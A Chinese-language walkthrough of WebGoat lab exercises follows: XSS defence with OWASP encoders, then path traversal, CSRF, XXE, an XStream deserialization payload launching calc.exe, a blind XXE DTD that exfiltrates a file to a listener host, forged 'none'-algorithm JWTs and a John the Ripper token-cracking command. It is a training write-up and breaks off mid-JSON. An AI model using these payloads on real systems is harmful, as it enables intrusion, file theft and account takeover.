    <%@ taglib uri="https://www.owasp.org/index.php/OWASP_Java_Encoder_Project" prefix="e" %>
    <!DOCTYPE html>
    <html>
    <head>
    <title>Using GET and POST Method to Read Form Data</title>
    </head>
    <body>
    <h1>Using POST Method to Read Form Data</h1>
    <table>
    <tbody>
    <tr>
    <td><b>First Name:</b></td>
    <td>${e:forHtml(param.first_name)}</td>
    </tr>
    <tr>
    <td><b>Last Name:</b></td>
    <td>${e:forHtml(param.last_name)}</td>
    </tr>
    </tbody>
    </table>
    </body>
    </html>

    e:forHtml() 专门用于防御 HTML 上下文中的 XSS

    它会将危险字符转换为 HTML 实体:

    < → <

    → >

    & → &

    " → "

    ’ → ’

    这样 会被安全地显示为文本,而不会被执行。

    ok了

    翻译:

    存储型 XSS

    防止存储型 XSS 的一种方法是使用 OWASP AntiSamy。AntiSamy 可以根据可配置的策略文件生成"清洁"的字符串。

    请看下面的 Java 类,它将评论保存到数据库中。

    public static void addComment(int threadID, int userID, String newComment) {

    String sql = "INSERT INTO COMMENTS(THREADID, USERID, COMMENT) VALUES(?,?,?);";

    try {
    PreparedStatement stmt = connection.prepareStatement(sql);

    stmt.setInt(1, threadID);
    stmt.setInt(2, userID);
    stmt.setString(3, newComment);

    stmt.executeUpdate();
    } catch (SQLException e) {
    e.printStackTrace();
    }
    }

    这里是使用 addComment 函数的 Java 类:

    import org.owasp.validator.html.*;
    import MyCommentDAO;

    public class AntiSamyController {

    public void saveNewComment(int threadID, int userID, String newComment){
    MyCommentDAO.addComment(threadID, userID, newComment);
    }

    }

    如您所见,这个 Java 文件将未经过滤的用户输入存储到数据库中。现在您的数据库中可能存储了恶意代码。

    现在轮到您了!

    尝试通过在 saveNewComment() 函数内部创建清洁字符串来防止此类 XSS 攻击。使用 “antisamy-slashdot.xml” 作为此示例的策略文件:

    import org.owasp.validator.html.*;
    import MyCommentDAO;

    public class AntiSamyController {
    public void saveNewComment(int threadID, int userID, String newComment){
    MyCommentDAO.addComment(threadID, userID, newComment);
    }
    }

    使用 OWASP AntiSamy 防御存储型 XSS

    import org.owasp.validator.html.*;
    import MyCommentDAO;

    public class AntiSamyController {
    public void saveNewComment(int threadID, int userID, String newComment){
    Policy p = Policy.getInstance("antisamy-slashdot.xml");
    AntiSamy as = new AntiSamy();
    CleanResults cr = as.scan(newComment, p, AntiSamy.DOM);
    MyCommentDAO.addComment(threadID, userID, cr.getCleanHTML());
    }
    }

    大d老师解析:

    这段代码使用OWASP AntiSamy对用户输入的评论内容进行安全过滤。它首先加载antisamy-slashdot.xml策略文件,然后通过scan()方法扫描原始输入,最后将清理后的安全HTML存储到数据库中。这样可以有效移除恶意脚本等危险内容,同时保留策略允许的安全HTML格式,从而防御存储型XSS攻击。

    Path traversal(路径遍历)

    文件上传时的路径遍历

    在本任务中,目标是覆盖文件系统上的一个特定文件。当然,WebGoat 关心用户的安全,因此你需要将文件上传到以下位置(位于常规上传路径之外):

    操作系统 目标位置

    Windows 11 C:\\Users\\Administrator/.webgoat-2025.4-SNAPSHOT/PathTraversal

    随便上传了个东西提示传到了C:\\Users\\Administrator.webgoat-2025.4-SNAPSHOT\\PathTraversal\\username\\test

    忙活了大半天都没成功,把Full Name改成…/test.jpg一下子就好了。。

    进阶关

    翻译:开发者意识到了该漏洞,并实施了修复措施——从输入中移除…/。同样是这个任务,但你能绕过已实施的修复吗?

    简单改成…/./test.jpg即可

    下一关翻译:

    开发者再次意识到该漏洞是由于未对"完整姓名"输入字段的数据进行验证。已尝试应用修复来解决此漏洞。

    仍然是相同的任务,但您能绕过已实施的修复吗?

    嗯,抓包改了发

    翻译:

    路径遍历漏洞不仅限于文件上传过程;在检索文件时,也可能存在路径遍历漏洞,从而能获取系统中的其他文件。

    在本次任务中,请尝试找到一个名为 path-traversal-secret.jpg 的文件。

    可以随机猫猫图,抓个包看看

    指定id看看

    只写个id看看

    没有我们要找的文件,点来点去发现文件在C:\\Users\\Administrator.webgoat-2025.4-SNAPSHOT下面

    输入 id=…/path-traversal-secret 返回字符不合法,情理之中

    url编码绕过,输入id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret

    flag是对自己的用户名进行sha512编码

    翻译:

    这次开发者只允许上传 zip 文件。然而,他们在处理上传的 zip 文件时犯了一个编程错误:文件会被解压,但不会替换你的现有图片。你能设法绕过这个编程错误,覆盖你当前的图片吗?

    为了让任务更简单一些,下面提供了你需要替换的个人资料图片的位置:

    操作系统 路径

    Windows 11 C:\\Users\\Administrator/.webgoat-2025.4-SNAPSHOT/PathTraversal/username/username.jpg

    第8关是答案,直接在linux下使用zip命令对题目给出的图片文件进行压缩。

    zip profile.zip …/…/…/…/…/…/…/…C:\\Users\\Administrator/.webgoat-2025.4-SNAPSHOT/PathTraversal/username/username.jpg

    然后将profile.zip压缩文件进行上传,即可完成本题。

    但是我用的虚拟机是win11的,写个python脚本试一下,从前面的题目里复制张猫图出来

    import zipfile

    # 当前目录下的图片文件名
    source_file = '1.jpg'

    # 目标 zip 文件名
    zip_filename = 'profile.zip'

    # 路径遍历的目标路径
    target_path = '../../../../../../../../../../Users/Administrator/.webgoat-2025.4-SNAPSHOT/PathTraversal/username/username.jpg'

    # 创建 zip 文件并添加图片
    with zipfile.ZipFile(zip_filename, 'w') as zipf:
    # 将本地文件 1.jpg 添加到 zip 中,使用路径遍历的目标路径
    zipf.write(source_file, target_path)

    print(f"{zip_filename} 创建完成")
    print(f"已将 {source_file} 打包为 {target_path}")

    通过

    五、(A5) Security Misconfiguration(安全配置错误)

    Cross-Site Request Forgeries(跨站请求伪造)

    翻译:

    基础GET请求CSRF练习

    在已登录的情况下,从外部源触发以下表单。响应将包含一个“标志”(一个数值)。

    确认标志

    在下面的页面上确认你应在上一页获得的标志。

    尝试用 Burp Suite 修改 Referer,在Repeater中,将请求头中的 Referer 字段删掉

    flag 36578

    下一题

    翻译:

    以他人名义发布评论

    下面的页面模拟了一个评论/评价页面。与之前的练习一样,你需要从其他地方发起提交,就像进行CSRF攻击一样。这比你想象的要简单。大多数情况下,比较棘手的部分是找到你想要执行CSRF攻击的地方。经典的例子是他人银行账户中的账户/电汇转账。

    但我们这里保持简单。在这个练习中,你只需要触发以当前登录用户的名义提交一条评论。

    用户资料图片

    John Doe正在出售这张海报,请阅读下面的评论。

    24天前

    图片帖子

    添加评论

    头像

    secUriTy / 0 星 2026-03-18, 13:14:25

    这就像瑞士奶酪(全是孔/漏洞)

    头像

    webgoat / 2 星 2026-03-18, 13:14:25

    能用,凑合吧

    头像

    guest / 5 星 2026-03-18, 13:14:25

    最好的应用,没有之一

    头像

    guest / 1 星 2026-03-18, 13:14:25

    这个应用太不安全了,我甚至没有发布这条评论,你也能做到吗?

    解法同样,这次抓取后修改的地方有

    POST /WebGoat/csrf/review HTTP/1.1
    Host: 127.0.0.1:8080
    Origin: http://evil.com ← 改成外部源
    Sec-Fetch-Site: cross-site ← 标明是跨站
    Referer: http://evil.com/ ← 保持外部源
    reviewText=This+is+a+CSRF+attack&stars=5&validateReq=2aa14227b9a13d0bede0388a7fba9aa9 ← 填写了有效内容

    继续

    翻译

    CSRF与Content-Type

    在上一节中,我们了解到依赖Content-Type并不能防御CSRF。在本节中,我们将探讨另一种针对未受CSRF保护的API执行CSRF攻击的方法。

    在这个任务中,你需要向我们的端点POST以下JSON消息:

    POST /csrf/feedback/message HTTP/1.1

    {

    “name” : “WebGoat”,

    “email” : “webgoat@webgoat.org”,

    “content” : “WebGoat is the best!!”

    }

    记住:你需要从另一个源发起调用(WebWolf可以在这里提供帮助),并且你需要已登录WebGoat。

    在电脑上任意位置新建一个文本文件,将下面的代码复制进去,然后重命名为 csrf_attack.html

    <!DOCTYPE html>
    <html>
    <head>
    <title>CSRF JSON Attack</title>
    </head>
    <body>
    <h1>Loading attack…</h1>
    <script>
    fetch('http://127.0.0.1:8080/WebGoat/csrf/feedback/message', {
    method: 'POST',
    credentials: 'include',
    headers: {
    'Content-Type': 'application/json'
    },
    body: JSON.stringify({
    name: 'WebGoat',
    email: 'webgoat@webgoat.org',
    content: 'WebGoat is the best!!'
    })
    })
    .then(response => response.json())
    .then(data => {
    console.log('Flag:', data.flag);
    alert('攻击完成!请在浏览器控制台查看 Flag(按F12打开控制台)。');
    })
    .catch(err => console.error(err));
    </script>
    </body>
    </html>

    在同一浏览器的另一个标签页中,打开刚刚创建的 csrf_attack.html 文件(地址栏会显示 file:///…/csrf_attack.html),页面会自动向 WebGoat 发送跨域请求,因为来源是 file:// 协议,满足“从其他源发起”的要求。

    哈哈失败了,但是用webwolf上传的话这种方式理论上是可以成功的,还是换回抓包修改的方法,这个是看了源码,必须携带WebGoat Cookie,Content-Type必须是 text/plain(我用的是 application/json,妈耶这谁能想到改,其他的都满足了的)Host和Referer必须不同

    修改之后的请求

    POST /WebGoat/csrf/feedback/message HTTP/1.1
    Host: 127.0.0.1:8080
    Content-Type: text/plain
    Origin: http://evil.com
    Referer: http://evil.com/
    Cookie: JSESSIONID=B8A18F545C03D38C28EDC5D896CCEEC3
    Content-Length: 82

    {"name":"WebGoat","email":"webgoat@webgoat.org","content":"WebGoat is the best!!"}

    成功了,flag d82ddf69-b3af-41fe-bca3-1b23a8eb413a

    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

    翻译:

    登录CSRF攻击

    在登录CSRF攻击中,攻击者使用自己在目标网站上的用户名和密码,伪造一个登录请求发送给该网站。如果伪造成功,目标服务器会返回一个Set-Cookie头,指示浏览器存储会话cookie,从而将用户以攻击者的身份登录到目标网站。这个会话cookie用于将后续请求绑定到用户的会话,因此绑定的是攻击者的认证凭据。登录CSRF攻击可能造成严重后果,例如下图所示:攻击者在google.com创建了一个账户,受害者访问恶意网站后,就会被登录为攻击者的账户。攻击者之后可以收集用户活动的相关信息。

    登录CSRF

    图:来自《针对跨站请求伪造的强大防御》一文

    更多信息请阅读以下论文。

    在这个任务中,尝试检查WebGoat是否也存在登录CSRF漏洞。保持当前标签页打开,在另一个标签页中创建一个用户,用户名为你现有用户名加上csrf-前缀。例如,如果你的用户名是tom,你需要创建一个新用户叫csrf-tom。

    以这个新用户身份登录。这就是攻击者通过CSRF会做的事情。然后点击原始标签页中的按钮。因为你当前登录的是另一个用户,攻击者就会知道你点击了那个按钮。

    当你以另一个用户身份登录后,点击下面的按钮。

    其实我没有很理解这道题要干嘛,我就照他说的浏览器另开了标签页重新注册了个csrf-username的用户进来点了这个就完成了。。不过这时候原本标签页的用户也会被刷新成csrf-username,应该这是他想要的。

    XXE(XML外部实体注入)

    翻译:

    在这个任务中,你需要为照片添加一条评论。提交表单时,尝试在评论字段中执行XXE注入,并列出文件系统的根目录。

    burpsuite抓包看到的请求:

    修改请求体后发送即可成功

    <?xml version="1.0"?><!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///C:/">]><comment><text>&xxe;</text></comment>

    翻译:

    现代 REST 框架 在现代 REST 框架中,服务器可能会接受你作为开发者未曾考虑到的数据格式。因此,这可能导致 JSON 接口也存在 XXE 攻击的漏洞。

    同样是这个练习,但这次尝试执行与第一个任务中相同的 XML 注入。

    这一题的抓包

    修改 Content-Type 请求头

    将:

    Content-Type: application/json

    改为:

    Content-Type: application/xml

    替换请求体(Body)

    删除原来的 {“text”:“test2”},替换为以下 一行 的 XML:

    <?xml version="1.0"?><!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///C:/">]><comment><text>&xxe;</text></comment>

    翻译:

    Blind XXE 任务

    在上一页中,我们向你展示了如何通过 XXE 攻击对服务器进行网络探测。在本任务中,请尝试构造一个 DTD,将 WebGoat 服务器上一个名为 secret.txt 的文件内容上传到我们的 WebWolf 服务器。你可以使用 WebWolf 来托管你的 DTD 文件。secret.txt 位于 WebGoat 服务器上的以下路径(你无需扫描所有目录和文件):

    操作系统:Windows 11

    路径: C:\\Users\\Administrator/.webgoat-2025.4-SNAPSHOT//XXE/username/secret.txt

    请利用 WebWolf 的着陆页(例如 http://127.0.0.1:9090/WebWolf/landing)上传该文件的内容。注意: 该端点完全由你控制。一旦获取到文件的内容,将其作为一条新评论发布到页面上,即可完成本课。

    webwolf是自带的在9090端口,访问http://127.0.0.1:9090/WebWolf然后登录

    构造恶意文件evil.dtd

    <!ENTITY % file SYSTEM "file:///C:/Users/Administrator/.webgoat-2025.4-SNAPSHOT/XXE/username/secret.txt">
    <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://127.0.0.1:9090/WebWolf/landing?%file;'>">
    %eval;
    %exfil;

    在同级目录启动本地http服务器

    python -m http.server 8000

    抓包替换请求体

    <?xml version="1.0"?>
    <!DOCTYPE root [
    <!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/evil.dtd">
    %dtd;
    ]>
    <comment>test</comment>

    webwolf看到

    WebGoat%208.0%20rocks…%20(EeUfegjoZb)

    url解码后

    WebGoat 8.0 rocks… (EeUfegjoZb)

    提交即可

    六、(A6) Vuln&Outdated Components(存在漏洞及过时的组件)

    Vulnerable Components(存在漏洞的组件)

    翻译:

    漏洞不一定出现在“你的”代码中

    下面是一个例子,使用相同的 WebGoat 源代码,但不同版本的 jquery-ui 组件。其中一个版本存在漏洞,另一个则没有。

    jquery-ui:1.10.4

    该示例允许用户指定 jquery-ui 对话框中“closeText”的内容。虽然这种开发场景不太可能出现,但 jquery-ui 对话框(待补充漏洞链接)在关闭对话框的按钮文本中没有对 XSS 进行防护。

    点击“Go”将执行一个 jquery-ui 关闭对话框:

    OK

    该对话框本应利用 jquery-ui:1.10.4 中的一个已知漏洞,并允许 XSS 攻击发生。

    jquery-ui:1.12.0 无漏洞

    使用相同的 WebGoat 源代码,但将 jquery-ui 库升级到无漏洞版本,从而消除了该漏洞。

    点击“Go”将执行一个 jquery-ui 关闭对话框:

    OK

    该对话框应该已经阻止了上述漏洞——使用与 WebGoat 完全相同的代码,但使用了更高版本的 jquery-ui。

    这题按照他写好的直接点击就可以,就是让我们看一下效果的,我的第一个框就是不弹窗很生气但是没办法。。

    翻译:

    利用 CVE-2013-7285(XStream 漏洞)

    本课程仅在使用 WebGoat 的 Docker 镜像时有效。

    WebGoat 使用一个 XML 文档向联系人数据库添加联系人。

    <contact>
    <id>1</id>
    <firstName>Bruce</firstName>
    <lastName>Mayhew</lastName>
    <email>webgoat@owasp.org</email>
    </contact>

    本练习所需的 Java 接口为:org.owasp.webgoat.lessons.vulnerablecomponents.Contact。

    首先请发送上述联系人内容,观察正常响应是什么,然后阅读该 CVE 漏洞的相关文档(可自行搜索互联网资料),并尝试触发此漏洞。

    在此示例中,我们将允许你直接输入 XML,而无需通过拦截请求并修改数据的方式。你提供联系人的 XML 表示,WebGoat 将使用 XStream.fromXML(xml) 将其转换为 Contact 对象。

    请输入联系人的 XML 表示:

    这道题一定要在docker里做,那就启动kali。。

    daemon.json设置国内源

    {
    "registry-mirrors": [
    "https://docker.1ms.run",
    "https://docker.m.ixdev.cn",
    "http://docker.m.daocloud.io",
    "https://dockerproxy.net",
    "https://xdark.top"
    ],
    "insecure-registries": [
    "docker.1ms.run",
    "docker.m.ixdev.cn",
    "docker.m.daocloud.io",
    "dockerproxy.net",
    "xdark.top"
    ]
    }

    拉取并启动镜像

    sudo docker run -it -p 8001:8080 -p 8002:9090 -e TZ=Asia/Shanghai webgoat/webgoat

    访问

    http://127.0.0.1:8001/WebGoat

    按照题目要求发送正常的看看反应

    替换

    <contact class="dynamic-proxy">
    <interface>org.owasp.webgoat.lessons.vulnerablecomponents.Contact</interface>
    <handler class="java.beans.EventHandler">
    <target class="java.lang.ProcessBuilder">
    <command>
    <string>calc.exe</string>
    </command>
    </target>
    <action>start</action>
    </handler>
    </contact>

    我发送了包含 和 java.beans.EventHandler 的恶意 XML。WebGoat 的 XStream 在反序列化时,根据 XML 描述动态生成了一个实现了 Contact 接口的代理对象,其处理器指向 java.beans.EventHandler,而 EventHandler 的目标被设定为 ProcessBuilder 并预设了命令 calc.exe。反序列化完成后,WebGoat 很可能紧接着调用了这个新创建的 Contact 对象的某个方法(例如 getId()、getFirstName() 等)。由于这是一个动态代理对象,任何接口方法的调用都会被转发给 EventHandler 处理器。EventHandler 被配置为调用 ProcessBuilder.start() 方法,于是系统尝试执行 calc.exe。总之,XStream 成功地将我的 XML 解析成了包含 ProcessBuilder 的恶意对象链,并且触发了 EventHandler 的调用逻辑。

    七、(A7) Identity & Auth Failure(身份认证失效)

    Authentication Bypasses(身份验证绕过)

    翻译:

    2FA 密码重置

    一个典型的身份认证绕过案例是 2016 年 PayPal 的双因素认证绕过漏洞(详见:https://henryhoggard.co.uk/blog/Paypal-2FA-Bypass)。

    当时攻击者无法收到包含验证码的短信,于是他选择通过回答安全问题来进行替代验证。在使用代理工具时,他干脆完全删除了相关请求参数,结果却直接绕过了验证。

    PayPal 2FA 绕过场景重现

    你正在重置密码,但操作时使用的设备或地点不被服务商信任,因此系统要求你回答预先设置的安全问题。问题是,这些安全问题的答案也存储在另一台不在身边的设备上,而你根本记不住。

    你已经输入了用户名/邮箱,并选择了“其他验证方式”。

    请回答以下问题以验证你的账户:

    你最喜欢的老师的名字是什么?

    你小时候居住的街道叫什么?

    题目里已经说了抓包把相关参数删了就行我们试试

    直接删掉不行。。但是把secQuestion0和secQuestion1改成secQuestion2和secQuestion3就过了

    Insecure Login(登录安全缺陷)

    翻译:

    点击“登录”按钮,发送一个包含其他用户登录凭据的请求。然后,将这些凭据填入相应的输入框并提交以完成验证。尝试使用抓包工具拦截该请求。

    点submit

    点login

    获取到账号密码

    {"username":"CaptainJack","password":"BlackPearl"}

    填进去就过了

    JWT tokens(JWT 令牌)

    翻译:

    解码 JWT 令牌

    我们来尝试解码一个 JWT 令牌,你可以使用 WebWolf 中的 JWT 功能来完成。给定以下令牌:

    eyJhbGciOiJIUzI1NiJ9.ew0KICAiYXV0aG9yaXRpZXMiIDogWyAiUk9MRV9BRE1JTiIsICJST0xFX1VTRVIiIF0sDQogICJjbGllbnRfaWQiIDogIm15LWNsaWVudC13aXRoLXNlY3JldCIsDQogICJleHAiIDogMTYwNzA5OTYwOCwNCiAgImp0aSIgOiAiOWJjOTJhNDQtMGIxYS00YzVlLWJlNzAtZGE1MjA3NWI5YTg0IiwNCiAgInNjb3BlIiA6IFsgInJlYWQiLCAid3JpdGUiIF0sDQogICJ1c2VyX25hbWUiIDogInVzZXIiDQp9.9lYaULTuoIDJ86-zKDSntJQyHPpJ2mZAbnWRfel99iI

    请复制粘贴以上令牌并进行解码,你能找到令牌中的用户名吗?

    JWT由三部分组成:header.payload.signature。提取第二部分

    ew0KICAiYXV0aG9yaXRpZXMiIDogWyAiUk9MRV9BRE1JTiIsICJST0xFX1VTRVIiIF0sDQogICJjbGllbnRfaWQiIDogIm15LWNsaWVudC13aXRoLXNlY3JldCIsDQogICJleHAiIDogMTYwNzA5OTYwOCwNCiAgImp0aSIgOiAiOWJjOTJhNDQtMGIxYS00YzVlLWJlNzAtZGE1MjA3NWI5YTg0IiwNCiAgInNjb3BlIiA6IFsgInJlYWQiLCAid3JpdGUiIF0sDQogICJ1c2VyX25hbWUiIDogInVzZXIiDQp9

    base64解码

    {
    "authorities" : [ "ROLE_ADMIN", "ROLE_USER" ],
    "client_id" : "my-client-with-secret",
    "exp" : 1607099608,
    "jti" : "9bc92a44-0b1a-4c5e-be70-da52075b9a84",
    "scope" : [ "read", "write" ],
    "user_name" : "user"
    }

    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

    翻译:

    WT 签名

    每个 JWT 令牌在发送给客户端之前至少都应进行签名。如果令牌未签名,客户端应用程序就能够更改令牌的内容。签名规范可参考[此处定义],具体可用的算法可参考[此处描述]。简而言之,对令牌进行签名时,要么使用“结合 SHA-2 函数的 HMAC”,要么使用“结合 RSASSA-PKCS1-v1_5 / ECDSA / RSASSA-PSS 的数字签名”函数。

    校验签名

    在执行任何其他操作之前,验证签名是至关重要的一步。我们来看一下在验证令牌之前需要注意的一些事项。

    任务

    尝试更改你收到的令牌,通过修改令牌使自己成为管理员用户。成为管理员后,重置投票结果。

    随便点个投票会显示我没权限

    这里有用户,切换成Tom投票抓包

    解码

    尝试修改令牌(基于 “none” 算法攻击)

    构造新的 Header,改为 {“alg”:“none”},将 admin 改为 “true”,其他不变:

    抓包重置投票试试,注意要改成POST请求

    POST /WebGoat/JWT/votings HTTP/1.1
    Host: 127.0.0.1:8080
    sec-ch-ua-platform: "Windows"
    X-Requested-With: XMLHttpRequest
    Accept-Language: zh-CN,zh;q=0.9
    Accept: */*
    sec-ch-ua: "Not?A_Brand";v="99", "Chromium";v="130"
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
    sec-ch-ua-mobile: ?0
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: http://127.0.0.1:8080/WebGoat/start.mvc?username=username
    Accept-Encoding: gzip, deflate, br
    Cookie: access_token=eyJhbGciOiJub25lIn0.eyJpYXQiOjE3NzcxMDQ2OTIsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifQ.; JSESSIONID=67B73E3F903F6AE4BE27336794917FF2
    Connection: keep-alive

    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

    翻译:

    代码审查

    现在我们进行代码审查,并思考如何利用 alg: none 发起攻击。我们使用如下令牌:

    eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwidXNlciI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.

    解码后得到:

    {
    "alg" : "none",
    "typ" : "JWT"
    }
    {
    "admin" : true,
    "iat" : 1516239022,
    "sub" : "1234567890",
    "user" : "John Doe"
    }

    第一段代码:

    try {
    Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parseClaimsJws(accessToken);
    Claims claims = (Claims) jwt.getBody();
    String user = (String) claims.get("user");
    boolean isAdmin = Boolean.valueOf((String) claims.get("admin"));
    if (isAdmin) {
    removeAllUsers();
    } else {
    log.error("You are not an admin user");
    }
    } catch (JwtException e) {
    throw new InvalidTokenException(e);
    }

    第二段代码:

    try {
    Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);
    Claims claims = (Claims) jwt.getBody();
    String user = (String) claims.get("user");
    boolean isAdmin = Boolean.valueOf((String) claims.get("admin"));
    if (isAdmin) {
    removeAllUsers();
    } else {
    log.error("You are not an admin user");
    }
    } catch (JwtException e) {
    throw new InvalidTokenException(e);
    }

    你能发现其中的弱点吗?

    第一段代码的执行结果是什么?

    选项 1:在第 12 行抛出异常

    选项 2:在第 7 行调用 removeAllUsers() 方法

    选项 3:在第 9 行记录错误日志

    第二段代码的执行结果是什么?

    选项 1:在第 12 行抛出异常

    选项 2:在第 7 行调用 removeAllUsers() 方法

    选项 3:在第 9 行记录错误日志

    选1和2

    在 JJWT 库(Java JWT) 中:

    parseClaimsJws() 要求令牌必须是 已签名的 JWS,当收到 alg: none 令牌时会直接抛出异常,因为它认为缺少签名。

    parse() 方法则宽松得多,它不强制要求签名,会正常解析 alg: none 令牌。

    翻译:

    JWT 破解

    在使用 HMAC-SHA-2 系列函数时,你需要一个密钥来签名和验证令牌。一旦我们找到了这个密钥,就可以伪造一个新的令牌并用它进行签名。因此,密钥必须足够强壮,使得暴力破解或字典攻击不可行。只要你拿到了一个有效的令牌,就可以开始离线的暴力破解或字典攻击。

    任务要求

    给定以下令牌,请尝试找出其密钥,并提交一个用户名改为 WebGoat 的新令牌。

    令牌:

    eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTc3NjI0NDg1NSwiZXhwIjoxNzc2MjQ0OTE1LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.B9hY9TkdVrCxTdOIPaHaFwrY0Ne0rzpTe055dFPxBd8

    (格式:XXX.YYY.ZZZ)

    把这个令牌保存成token.txt,用虚拟机里自带的John进行爆破

    下载字典,放到d盘,新建个wordlist目录下

    https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt

    john D:\\token.txt –format=HMAC-SHA256 –wordlist=D:\\wordlist\\rockyou.txt

    原本的密码是victory,生成新令牌,网址https://jwt.p2hp.com/

    翻译:

    刷新令牌

    为访问令牌实施一套良好的刷新策略至关重要。本次练习基于漏洞众测平台 Bugcrowd 上一个私密赏金项目中发现的漏洞,你可以在此处阅读完整的技术分析文章。

    任务

    去年发生了一次数据泄露,以下日志文件可在此获取。你能否找到一种方法,成功下单购买这些书籍,但让 Tom 来为它们付款?

    看一下日志文件

    194.201.170.15 – – [28/Jan/2016:21:28:01 +0100] "GET /JWT/refresh/checkout?token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q HTTP/1.1" 401 242 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
    194.201.170.15 – – [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/moveToCheckout HTTP/1.1" 200 12783 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
    194.201.170.15 – – [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/login HTTP/1.1" 200 212 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
    194.201.170.15 – – [28/Jan/2016:21:28:01 +0100] "GET /JWT/refresh/addItems HTTP/1.1" 404 249 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
    195.206.170.15 – – [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/moveToCheckout HTTP/1.1" 404 215 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36" "-"

    日志里有什么?

    GET /JWT/refresh/checkout?token=eyJ… HTTP/1.1" 401

    这是一个带 token 参数的 GET 请求,Token 解码后用户是 Tom。

    服务器返回 401 Unauthorized → 说明这个 Token 已经过期或无效。

    POST /JWT/refresh/login HTTP/1.1" 200

    有人登录成功了,返回 200。

    POST /JWT/refresh/moveToCheckout HTTP/1.1" 200

    可以发现这个漏洞的逻辑是:刷新 Token 时,服务端只校验了签名,没有校验新旧 Token 中的用户身份是否一致。

    在正常流程中:

    用户登录,获得一个短期有效的 access_token(比如 Tom 登录,Token 里 user: “Tom”)。

    Token 过期后,客户端用旧 Token 向 /refresh 端点换取新 Token。

    服务端理应检查:旧 Token 中的用户 == 新 Token 中的用户。

    但存在漏洞时,可以:

    用自己的账号登录,拿到一个有效的 Token(user: “我的名字”)。

    在刷新请求中,修改新 Token 的 payload,把 user 改成 “Tom”,但保留签名不变(或利用算法混淆)。

    服务端只验证签名,不校验用户变更,于是签发一个 user: “Tom” 的新 Token 。

    用这个新 Token 去结账 → 下单成功,账单挂在 Tom 名下。

    先点结账抓个包看看

    当前jwt

    eyJhbGciOiJIUzUxMiJ9.eyJ1c2VyIjoiSmVycnkiLCJhZG1pbiI6ImZhbHNlIn0.eaksrYMTQa-r_dqWEQL5nTRmzozm6A2qSjgpyyzKjnOLmvHSL0PI9rg_TrsA0QNKGnyBxNJwAvEO_us-satI1w

    解码得到

    {
    "user": "Jerry",
    "admin": false
    }

    签名算法:HS512(HMAC SHA-512)

    把之前日志里的jwt放进去

    解码这个token

    把时间换成未来的。

    去掉签名尝试无签名绕过

    eyJhbGciOiJub25lIn0.eyJpYXQiOjE3NzYzMDc1NjYsImV4cCI6MTc3NjMwNzY2NiwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.

    翻译:

    下方你会看到两个账户,一个是杰瑞的,一个是汤姆的。杰瑞想把汤姆的推特账号删掉,但他的凭证令牌只能用来删除他自己的账号。你能试着帮帮他,把汤姆的账号删掉吗?

    点个删除抓包看下

    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

    存在jku头部注入

    生成密钥对

    网址https://zecurit.com/tools/rsa-key-pair-generator/

    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

    获取公钥的n和e参数,找个网站解一下,我没找到好用的就不放了

    得到jwks.json

    {
    "keys": [
    {
    "kty": "RSA",
    "kid": "1",
    "use": "sig",
    "alg": "RS256",
